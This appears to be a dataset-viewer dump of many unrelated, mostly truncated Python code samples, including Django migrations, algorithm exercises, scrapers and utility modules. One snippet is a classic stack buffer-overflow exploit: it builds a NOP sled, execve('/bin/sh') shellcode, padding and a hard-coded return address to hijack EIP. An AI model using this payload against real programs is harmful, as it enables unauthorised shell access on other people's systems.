text
stringlengths
8
6.05M
import mongoengine as db from plants import Plant def load_plants(): basil = Plant(_id = 'basil', plant_friends = [], plant_foes = []) cantaloupe = Plant(_id = 'cantaloupe', plant_friends = [], plant_foes = []) onion = Plant(_id = 'onion', plant_friends = [], plant_foes = []) pepper = Plant(_id = 'pepp...
##todo: zamiana najwiekszej i najmniejszej w liscie # li = [2, 4, 6, 3, 5, 1, 8, 10, 11, 4, 564] # minli = li[0] # maxli = li[0] # for i in li: # if i > maxli: # maxli = i # elif i < minli: # minli = i # maxin = li.index(maxli) # minin = li.index(minli) # li[minin] = maxli # li[maxin] = minli #...
## # Copyright : Copyright (c) MOSEK ApS, Denmark. All rights reserved. # # File : solutionquality.py # # Purpose : To demonstrate how to examine the quality of a solution. ## import sys import mosek def streamprinter(msg): sys.stdout.write (msg) sys.stdout.flush () if len(sys.argv) <= 1: print...
from twitter.checkstyle.common import Nit, PythonFile from twitter.checkstyle.plugins.new_style_classes import NewStyleClasses def test_new_style_classes(): nsc = NewStyleClasses(PythonFile.from_statement(""" class OldStyle: pass class NewStyle(object): pass """)) nits = list(nsc.nits()...
import io import numpy as np import sys from gym.envs.toy_text import discrete import mdptoolbox.example WAIT = 0 CUT = 1 class ForestEnv(discrete.DiscreteEnv): """ Generate a MDP example based on a simple forest management scenario Reference: https://pymdptoolbox.readthedocs.io/en/latest/api/example.htm...
#!/usr/bin/python # -*- coding: UTF-8 -*- import os import sys import zipfile import projectConfig global azip # 初始化一个zip文件 def ZipInit(targetzip): global azip azip = zipfile.ZipFile(targetzip, 'w',zipfile.ZIP_DEFLATED) # 添加文件 def AddFile(srcfile): global azip if os.path.isfile(srcfile):#文件 azip.write(srcf...
import numpy as np import cv2 import utils import os import argparse from util_classes import Model, Template, Store from utils import * from cv2 import * from matplotlib.patches import Circle, Wedge, Polygon from matplotlib.collections import PatchCollection from matplotlib.animation import FFMpegWriter import time ...
# coding: utf-8 # Definition for a binary tree node # class TreeNode: # def __init__(self, x): # self.val = x # self.left = None # self.right = None from made_bitree import TreeNode class Solution: # @param root, a tree node # @return an integer def minDepth(self, root): ...
import re import numpy as np from collections import Counter class TokenPreprocessor: """ A util-class for preprocessing tokens created by the morphological_analyzer. It has ability to modify words like removal of stopwords. The list of tokens which are supposed to be preprocessed are to be specified ...
import os import re def transform_data(input_data_file): return_list = [] dict_append = {} with open(input_data_file) as openfile: lines = openfile.read() for elem in lines.split("\n\n"): passport_list = elem.split() for passport in passport_list: ke...
import u12 import numpy d = u12.U12() digital_readout=[] pins = [0, 1, 2 , 4] for x in pins: # serial = 100039255 digital_readout.append(d.eDigitalIn(x, readD= 1)) bcd=[] for x in digital_readout: bcd.append(x["state"]) int_exp = bcd[0]*1+bcd[1]*2+bcd[2]*8+ bcd[3]*4 analog_mantissa = d.eAnalogIn(0) flt_mantissa ...
"""This package contains the base class :class:`Source` for :class:`TwoPoint` sources and implementations. """ # flake8: noqa
import os from urllib.request import Request, urlopen from ccdc.cavity import Cavity import tempfile def ftp_download(pdb_code, out_dir="pdb"): url = f"https://files.rcsb.org/download/{pdb_code}.pdb" response = urlopen(Request(url)) f = response.read().decode("utf-8") # write out decoded fil...
import warnings from datetime import datetime from dateutil import rrule from dateutil.rrule import rrulestr from icalendar import Calendar as vCalendar from icalendar import Event as vEvent from icalendar import vRecur from onegov.core.orm import Base from onegov.core.orm.abstract import associated from onegov.core.o...
class Solution(object): def findRelativeRanks(self, nums): """ :type nums: List[int] :rtype: List[str] """ temp = {} temp_nums = sorted(nums,reverse=True) ans = [] for n in range(len(temp_nums)): if n == 0: temp[temp_nums[n]...
# Generated by Django 3.2.5 on 2021-08-26 05:11 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('app_order', '0003_auto_20210825_1607'), ] operations = [ migrations.AddField( model_name='products', name='product_p...
import colorsys import time from typing import Union import cv2 as cv import numpy as np from scipy import integrate import pymurapi as mur auv = mur.mur_init() from typing import Tuple class Color: def __init__(self, x: float, y: float, z: float, name: str = ...) -> None: self.name = nam...
# Author : Xiang Xu # -*- coding: utf-8 -*- from math import sqrt dataset = {} def get_dataset(amount): global dataset totalCheckinsFile = open('Gowalla_totalCheckins.txt', 'r') user = '' for line in totalCheckinsFile: token = line.strip().split('\t') if token[0] != user and len(dat...
# cook your dish here X, Y, Z = input().split() X = int(X) Y = int(Y) Z = int(Z) action = 0 while(True): if X == Y and Y == Z: action = -1 break elif X%2 == 0 and Y%2 == 0 and Z%2 == 0: temp_X = int(Y/2) + int(Z/2) temp_Y = int(X/2) + int(Z/2) temp_Z = int(X/2) + int(Y/2...
import logging import collections import datetime import asyncio import unittest import os from subprocess import call from pathlib import Path from rdflib import URIRef, Literal, Graph, ConjunctiveGraph, Dataset from aiohttp_rdf4j.aiograph import AioRDF4jStore, AioRDF4jServer from aiohttp_rdf4j.utils import async_fill...
#!/usr/bin/python2 # encoding: utf8 from __future__ import division import reportlab from reportlab.pdfgen import canvas from reportlab.lib.pagesizes import A4 from reportlab.lib.units import cm,mm from math import * from reportlab.lib.colors import * def rect(c,x1,y1,x2,y2): p = c.beginPath() p.moveTo(x1,y1)...
x=23 y=34 str1="HELLO GERMANY how are you? x owe me {} y owe me {}" print(str1.count("o")) # print(str1.format(x,y)) # # print(str1.center(100,"o").format(x,y)) # print(len(str1)) # print(str1[0:5]) # print(str1[24]) # # # # print("hello" in str1) # # print("G" not in str1) # # print ("how" in str1) # # # using if # ...
#!/usr/bin/env python # Author:tjy import copy # names = ['Tom', 'Jick', 'Alex', 'TJY'] # names.sort(key=len,reverse=False) # names.reverse() # if 'TJY' in names and 'tjy' not in names: # names.remove('TJY') # names.append('tjy') # names.pop(1) # names.extend(['aa.xml', 'bb', 12]) # names.insert(2, 'aa.xml') ...
#!/usr/bin/env python3 import AmqpConnector import msgpack import logging import os.path import threading import ssl import time import traceback RUN_STATE = True class RpcHandler(object): die = False def __init__(self, settings): thName = threading.current_thread().name if "-" in thName: logPath = "Main.T...
from .LastVersionDetector import LastVersionDetector
import networkx as nx import matplotlib.pyplot as plt import csv import pandas import random import pickle import numpy as np from statistics import median G = nx.read_graphml("data/c.elegans.herm_pharynx_1.graphml") timesteps = 500 simulation_no = 100 timedelay_range = 20 probabilityData = {} def nodeDegreeClassif...
# -*- coding: utf-8 -*- """ Spyder Editor This is a temporary script file. """ list=[1,2,3,4,5,6,7,8,9] list2=[i for i in list if i%3==0 ] print (list2) import time #带有不定参的装饰器 def deco(func): def wrapper(*args,**kwargs): startTime=time.time() func(*args,**kwargs) endTi...
# Generated by Django 2.2.3 on 2019-11-01 19:31 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('basket', '0001_initial'), ] operations = [ migrations.AlterField( model_name='order', name='customer_apartment', ...
#!/usr/bin/env python3 from structurefield import StructureField import re # TODO: replace by libclang __comments_multiline_re = re.compile(r'/\*.*?\*/', re.DOTALL) __comments_singleline_re = re.compile(r'//.*$', re.MULTILINE) __unused_keywords_re = re.compile(r'static|const|extern|inline|virtual|volatile|typedef|__...
from datetime import date from unittest import mock import numpy as np import pytest from summer.model import CompartmentalModel # from autumn.projects.covid_19.mixing_optimisation import mixing_opti as opti # from autumn.projects.covid_19.mixing_optimisation import write_scenarios # from autumn.projects.covid_19.mix...
import paypalrestsdk from flask import Blueprint, jsonify, request, current_app as app, redirect, url_for from paypalrestsdk import Payment, ResourceNotFound from backend.auth import with_user from backend.blueprints.project import find_project_or_404 from backend.models import Donation from backend.schemas import don...
# -*- coding: utf-8 -*- """6自由度機体シミュレーション用のクラス.""" import numpy as np from numpy.linalg import inv from math import sin, cos, pi, sqrt import math_function as mf class Attitude6DoF(object): """docstring for Quartanion. 6自由度の機体の姿勢をクォータニオンで表現するためのクラス """ def __init__(self): """初期化.""" ...
from django.contrib import admin from .models import *#Paciente,Doctor admin.site.register(Paciente) admin.site.register(Doctor) admin.site.register(Parmetros_directos_sensados) admin.site.register(Parametros_Borg) admin.site.register(Parametros_Morisky)
def gcd(a, b): while b != 0: t = b b = a % b a = t return a for a in range(1, 20): for b in range(1, 20): print gcd(a, b), '\t', print
# -*- coding: utf-8 -*- """ Created on Wed Dec 9 02:23:31 2020 @author: DAW """ import functools def multiplicar (x,y): print(x*y) return x*y numero = int(input("De que numero quieres calcular el factorial: ")) lista =range(1, numero+1) for i in lista: print(i , "\n") valor= functo...
from pygame import * from random import randint okkno = display.set_mode((700, 500)) display.set_caption("mona") fon1 = transform.scale(image.load('63.jpg'), (700,500)) fon2 = transform.scale(image.load('3.jpg'), (700,500)) dio = transform.scale(image.load('93.png'), (700,500)) curfon = fon1 class boop(sprite...
from rest_framework import generics, status from .serializers import UserProjectSerializer, UserEducationSerializer, UserExperienceSerializer from rest_framework.response import Response from authentication.models import User from .models import UserEducation, UserProject, UserExperience from rest_framework.views impor...
from django import forms from snippets.models import Comment class SnippetForm(forms.Form): title=forms.CharField(label='Title',max_length=30) content=forms.CharField(label='Content',widget=forms.Textarea) class CommentForm(forms.ModelForm): class Meta : model=Comment fields=['content']
# -*- codinf:utf-8 -*- from .my_map import Map class Simulater(object): def __init__(self, file_name): self.sim_map = Map(file_name) self.reset() def map_size(self): return self.sim_map.map_size() def printing(self): self.sim_map.printing(self.player_x, self.p...
Version = "3.50.0"
#!env python3 # -*- coding: utf-8 -*- from bs4 import BeautifulSoup import requests import requests_cache import re requests_cache.install_cache('nobel_pages',\ backend='sqlite', expire_after=7200) def get_winner_nationality(w): """ 受賞者の Wikipedia ページから人物情報データをスクレイピングする """ data ...
import requests import json from os.path import dirname, abspath ,join d = dirname(dirname(abspath(__file__))) #set files directory path import sys # insert at position 1 in the path, as 0 is the path of this file. sys.path.insert(1, d) import Log def callApi(url, data, tokenKey): headers = { 'Content-Type...
list1 = [] list1.append(1) list1.append(2) list1.append(3) list1.append(4) list1.insert(2, 5) print(list1)
from unittest import TestCase import unittest import sys from insert_node_binarytree import Solution sys.path.append('../') from leetCodeUtil import TreeNode class TestSolution(TestCase): def test_insertNodeCase1(self): root = TreeNode(5) sol = Solution() sol.insertBinaryTreeNode(root, 3)...
from selenium.webdriver.support import expected_conditions from selenium.webdriver.common.by import By from selenium.common.exceptions import WebDriverException class Checker: def __init__(self, driver, wait): self.driver = driver self.wait = wait def save_screenshot(self, service_name, item_name):...
class Solution(object): def findMinHeightTrees(self, n, edges): """ :type n: int :type edges: List[List[int]] :rtype: List[int] """ if n <= 2: return list(range(n)) graph = {i:set() for i in range(n)} for i, j in edges: graph[i]...
# A Pythagorean triplet is a set of three natural numbers, a < b < c, for which, # a^2 + b^2 = c^2 # For example, 3^2 + 4^2 = 9 + 16 = 25 = 5^2. # There exists exactly one Pythagorean triplet for which a + b + c = 1000. # Find the product abc. def is_triplet(a, b, c): if (a > b) or (b > c): return False a_s...
import csv import io import json from rest_framework import status from rest_framework.viewsets import ModelViewSet, ViewSet from rest_framework.mixins import CreateModelMixin from rest_framework.parsers import FileUploadParser from rest_framework.response import Response from .models import Passenger from .serialize...
from DataPoint import DataPoint # store and array of data so it can be easily drawn on screen class Data: # Populates the array of data with random data points def populate_list(self): for i in range(0, self.size): self.my_list.append(DataPoint(self.min, self.max)) # min: minimum num...
#!/usr/bin/python import subprocess shell_code = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" nopsled = '\x90' * 116 padding = 'A' * (446 - 116 - 32) eip = '\x40\xf6\xff\xbf' r = nopsled + shell_code...
#import the necessary packages from os import path # define the base path to the emotion dataset BASE_PATH = r"C:\Users\schma\Documents\4th Yr\FYP\FINALE\FYP_Software201819\fer_model" INPUT_PATH = path.sep.join([BASE_PATH, r"fer2013\datasets\fer2013.csv"]) # define the number of classes (set to 6 if you are ignorin...
from rest_framework import serializers from inventory.models import InventoryItem, Vendor, PurchaseRecord, VendorVisit class InventoryItemSerializer(serializers.ModelSerializer): class Meta: model = InventoryItem fields = '__all__' read_only = ('created_at', 'updated_at') class VendorSe...
# Generated by Django 3.0.8 on 2020-07-14 19:14 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('profiles', '0001_initial'), ('profiles', '0004_auto_20200715_0302'), ('trips', '0001_ini...
N=int(input("输入一个整数N(N<40):")) a=0 b=1 if(N>=40): print("超出范围,请重新输入!") else: for i in range(1,N): a,b=b,a+b print(b)
import tensorflow as tf mnist = tf.keras.datasets.mnist # Getting the mnist dataset (huge dataset of written numbers) (train_data, train_label), (test_data, test_label) = mnist.load_data() # Splitting dataset into training and testing data # Normalizing the data to make it easier and faster to compute ...
#import sys #input = sys.stdin.readline def main(): a, b, c = map( int, input().split()) if a%2 == 0 or b%2 == 0 or c%2 == 0: print(0) else: print( min(a*b, b*c, c*a)) if __name__ == '__main__': main()
__author__='RodrigoMachado' __license__ = "MIT" __version__ = "1.0.1" __status__ = "Production" __copyright__ = "Copyright 2019" __maintainer__ = "RodrigoMachado9" __email__ = "rodrigo.machado3.14@hotmail.com" __credits__ = ["Python is life", "Live the opensource world"] from flask import Flask, jsonify from flask_res...
#-*- coding: utf-8 -*- from pathlib import Path from PIL import Image import json import statistics import os import sys class Gatherer(): def __init__(self, name, model, segmentSize, pixelSize): self.name = name self.segmentSize = segmentSize self.pixelSize = pixelSize self.imageF...
''' Created on Jul 4, 2019 Edited 8/30/19 mildly edited 11/1/19 and 11/12/19 @author: Jacob H. stopwatch.py ''' import time import math # add a change_precision? class Stopwatch: ''' Represents a stopwatch object; counts time up (as in 1, 2, 3, etc.) and reports elapsed time to a specified precision ''' ...
#========================================================================= # pisa_divu_test.py #========================================================================= import pytest import random import pisa_encoding from pymtl import Bits from PisaSim import PisaSim from pisa_inst_test_utils import * #--------...
# coding: utf-8 from environnement import * from threading import Thread import tkinter from tkinter import messagebox, ttk, filedialog import os import moviepy.video.io.ImageSequenceClip as Movieclip # import gc --> gc.collect() def new_label_frame(master_frame, title: str, weight_rows: list, weight_columns: list):...
import unittest import os from conans.test.utils.tools import TestClient from conans.util.files import save from conans.client.conan_api import get_basic_requester class ProxiesConfTest(unittest.TestCase): def setUp(self): self.old_env = dict(os.environ) def tearDown(self): os.environ.clear(...
# ---------------------------------------------------------------------------- # Copyright 2015 Nervana Systems Inc. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.o...
class Solution: def twoSum(self, num, target): map = {} for i in range(len(num)): if num[i] not in map: map[target - num[i]] = i else: return map[num[i]], i examples = [ [[2, 7, 11, 15], 9], [[3, 2, 4], 6], [[3, 3], 6] ] for exam...
import tensorflow as tf hello_world = tf.constant('Hello World!', dtype=tf.string) #常量tensor print(hello_world) #这时hello_world是一个tensor,代表一个运算的输出 # out: Tensor("Const:0", shape=(), dtype=string) hello = tf.placeholder(dtype=tf.string, shape=[None])#占位符tensor,在sess.run时赋值 world = tf.placeholder(dtype=tf.string, shape=[...
import os import sys sys.path.append(os.getenv('cf')) import datetime from cartoforum_api.orm_classes import sess from flask import session, render_template, request, jsonify from cartoforum_api.orm_classes import GroupRequests, Group, Users, UsersGroups, InviteMe from cartoforum_api.core import cur, pgconnect # @cf...
import json import gzip from pprint import pprint from sets import Set from collections import Counter, defaultdict import matplotlib.pyplot as plt import re import numpy as np from sklearn.feature_extraction import DictVectorizer import sys import pickle import copy from random import shuffle class Recipe(object): ...
import turtle #Importa a biblioteca Turtle t = turtle.Pen() #Inicializa a caneta turtle.bgcolor('black') #Altera a cor do fundo turtle.title("Titulo") #Coloca o título da janela circulos = 4 #Seleciona o número de circulos colors = ['red', 'yellow', 'blue', 'orange'] #Passa a lista de cores que serão usadas for x...
#tf.estimator is a high-level tensorflow library #runing training loops #runing evaluation loops #managing data set import tensorflow as tf import numpy as np #declare list of features feature_columns = [tf.feature_column.numeric_column("x",shape= [1])] estimator = tf.estimator.LinearRegressor(feature_colu...
# Enter your code here. Read input from STDIN. Print output to STDOUT import math x = complex(input()) a= x.real b= x.imag print(math.hypot(a,b)) print(math.atan2(b,a))
# Visualize and explore data / exploratory data analysis import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns ## Import data hmda_train=pd.read_csv('hmda_train.csv') cat_cols = ['msa_md', 'state_code', 'county_code', \ 'lender', 'loan_type', 'property_type', 'loan_p...
""" Sebastian Raschka 2014-2016 Python Progress Indicator Utility Author: Sebastian Raschka <sebastianraschka.com> License: BSD 3 clause Contributors: https://github.com/rasbt/pyprind/graphs/contributors Code Repository: https://github.com/rasbt/pyprind PyPI: https://pypi.python.org/pypi/PyPrind """ import sys impor...
from .base import * import os import raven DEBUG = False ALLOWED_HOSTS = ['comunidadbiblicadefe.herokuapp.com','comunidadbiblicadefe.org', 'www.comunidadbiblicadefe.org', 'production.comunidadbiblicadefe.org'] # HTTPS CONFIG #SECURE_SSL_REDIRECT = True SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') ...
from flask import Blueprint, g bp = Blueprint('bp', __name__) from . import auth from . import main from . import events
# /usr/bin/env python # -*- coding:utf-8 -*- class Stack: def __init__(self): self.items = [] def size(self): return len(self.items) def push(self, value): self.items.append(value) def pop(self): return self.items.pop() def is_empty(self): return self.ite...
# coding: utf-8 # Exercise Set 2, Question 4 # In[3]: import numpy as np import matplotlib.pyplot as plt from numpy import random as rn # In[111]: sigma=np.linspace(0.1, 0.6,(0.6-0.1)/0.02+1) prob=np.zeros(len(sigma)) Tmax=10 N=200 h=Tmax/N t=np.linspace(0, Tmax,Tmax/h+1) M=10000 Z=rn.randn(M,N) for k in rang...
from django.contrib import admin from data_show import models # Register your models here. admin.site.empty_value_display = 'Unknown' admin.site.list_max_show_all = 10 # inline and admin model for Club class FilesInline(admin.TabularInline): model = models.File extra = 0 @admin.register(models.Club) class...
import time import ini_files.ini as ini import main_page.xml_requests.xml_operations as my_xml import logging from xml.etree import ElementTree as et from main_page.client import Client from db_operations.db_requests import get_user_fp_code_from_idn as get_fp_code from prettytable import PrettyTable LOG_FORMAT = "%(a...
# 通过yield实现 def fib(n): i = 1 before,after = 0,1 while i<= n: before,after=after,before+after yield after i +=1 # print(type(fib(8))) # for i in fib(8): # print(i) # g = fib(8) # print(next(g)) # print(next(g)) # print(next(g)) # print(next(g))
from rv.modules import Behavior as B from rv.modules import Module from rv.modules.base.ctl2note import BaseCtl2Note class Ctl2Note(BaseCtl2Note, Module): behaviors = { B.sends_notes, }
import torch import numpy as np import math data1 = np.array([ [21966000, 0, 0, 0, 0, 0, 0, 0], [23447000, 0, 0, 0, 0, 0, 0, 0], [20154000, 0, 0, 0, 0, 0, 0, 0]]) data2 = np.array([ [0, 8, 8, 4, 2, 4, 2, 7], [0, 0, 2, 2, 1, 1, 3, 6], [0, 5, 2, 1, 4, 6, 1, 8]]) data3 = data1 + data2 i = 0 data...
from django.shortcuts import render, reverse from django.views import generic from .forms import AMSModelForm from .models import AMS from users.mixins import SuperuserAndLoginRequiredMixin, ModeratorAndLoginRequiredMixin, GuestMixin class AMSListView(SuperuserAndLoginRequiredMixin, generic.ListView): template_n...
#coding:utf-8 # 读取XML文件 import os import xml.etree.ElementTree as ET # from xml.etree.ElementTree import parse, Element def get_xml_info(path): filenames = os.listdir(path) fnames = [] all_boxes = [] for filename in filenames: # if filename[-5] == '6' and filename[-3:] == 'xml': if filen...
# function to read cog files # Marcos van Dam # Modified March 2005 to use lun, rather than a fixed value # Modified Sept 2006 for the NGWFC # To python 3.0 Elena Manjavacas April 2020 import numpy as np import os.path import matplotlib.pyplot as plt def readcog(filename): offsets = np.zeros(608) cdcog='/loca...
from pyspark.sql import SparkSession from pyspark.sql.types import * from mine import killer def main(): """ Fill in this function. 1. Write a function in a separate file that will be used in a DataFrame map operation. 2. Create a dataframe with words. 3. Use function for map operation. NOTE: Use Lambdas...
import os path = os.path from myhdl import * #INIT, RD_AND_JPEG_DATA, WR_DATA, INTERLACE, DONE = range(5) ACTIVE_LOW = bool(0) FRAME_SIZE = 8 t_State = enum('INIT', 'RD_AND_JPEG_DATA', 'WR_DATA', 'INTERLACE', 'DONE', encoding="one_hot") def RamCtrl(SOF, state, WR_DATAFlag, clk_fast, reset_n, addrsam_r, addrjpeg_r,...
#coding: utf-8 import re import sys import json import requests try: from collections import OrderedDict as _default_dict except ImportError: _default_dict = dict class BurplogParser(object): def __init__(self, filename, dict_type=_default_dict): self.dict = dict_type self.fp = ope...
import pytest import pdb from fhireval.test_suite.concept_map import example_code_system_source, reset_testdata test_id = f"{'2.8.1':<10} - Create ConceptMap" test_weight = 2 def test_codemap_create(host): reset_testdata(host) result = host.post('ConceptMap', example_code_system_source, validate_only=False)...
from requests import get import requests from requests.exceptions import ProxyError def read_proxy(check=True): proxy_file = open('torrents_parser/proxy.txt', 'r') for line in proxy_file.readlines(): proxy_line = 'socks5://{}'.format(line[:len(line)]) proxies = { 'http': 'socks5://...
#!/usr/bin/env python from pathlib import Path import pandas as pd _PACKAGE_DIR = Path(__file__).absolute().parent # .../unit _FIXTURES = Path.joinpath(_PACKAGE_DIR, 'fixtures') # .../unit/fixtures _HTML = Path.joinpath(_FIXTURES, 'html') # .../unit/fixtures/html sample_file = Path('03-30-2020.csv') raw_cols = ...
import mechanize import urllib from urllib import urlopen import cookielib import BeautifulSoup import html2text import re import sys import StringIO from urllib2 import HTTPError import os import time from selenium import webdriver from selenium.webdriver.common.keys import Keys import requests import pickle # Initia...
import os from configparser import ConfigParser configur = ConfigParser() config_path = f"{os.path.dirname(os.path.abspath(__file__))}/config.ini" configur.read(config_path) def get_config(config_key): return configur.get(os.getenv("ENV","dev"),config_key)
import os, gc, time, datetime, argparse import numpy as np import pandas as pd import tensorflow as tf from tensorflow import keras from models.rnn_models import naive_RNNs, LSTMs, GRUs from models.fcn import FCN from models.lstm_fcn import LSTM_FCN, ALSTM_FCN from models.lstnet import LSTNet from models.resnet import...
# -*- coding: utf-8 -*- # Generated by Django 1.11.4 on 2017-11-21 17:17 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('apps', '0002_usuarios'), ] operations = [ migrations.DeleteModel( name=...
def gcd(a, b): """Return the greatest common divisor of a and b using a recursive implementation of Euclid's algorithm.""" try: #keep calling gcd on smaller and smaller values of b return gcd(b, a % b) except ZeroDivisionError: #untill we get to the point that b is zero #this line will g...
#Programa: nombre.py #Propósito: Pedir el nombre y los dos apellidos de una persona y mostrar las iniciales. #Autor: Jose Manuel Serrano Palomo. #Fecha: 13/10/2019 # #Variables a usar: # nombre, apellido1, apellido2 estas seran las variables del nombre # iniciales es la variable que contrendra las iniciales del nombre ...
if __name__ == "__main__": favorite_languages = { 'jen': 'python', 'sarah': 'c', 'edward': 'ruby', 'phil': 'python' } persons = { 'jen', 'sarah', 'bjorn', 'benthe' } for person in persons: if person in favorite_languages.keys(...
from selenium import webdriver import os browser = webdriver.Chrome() url = "http://www.baidu.com" browser.get(url) input= browser.find_element_by_id("kw") input.send_keys("python") browser.find_element_by_id("su").click() #关闭浏览器 #browser.quit()
# -*- coding: utf-8 -*- import logging from openerp import pooler from openerp.tools.translate import _ _logger = logging.getLogger(__name__) from openerp.osv import osv, fields from openerp import netsvc class sale_configuration(osv.osv): _inherit = 'sale.config.settings' def _select_...
from util.esc import unescape class RawModule: require = "cmd" def __init__(self, circa): self.circa = circa self.events = { "cmd.raw": [self.raw] } self.docs = { "raw": "raw [msg] → send a raw IRC message. Admins only." } def raw(self, fr, to, msg, m): if self.circa.is_admin(m.prefix): self....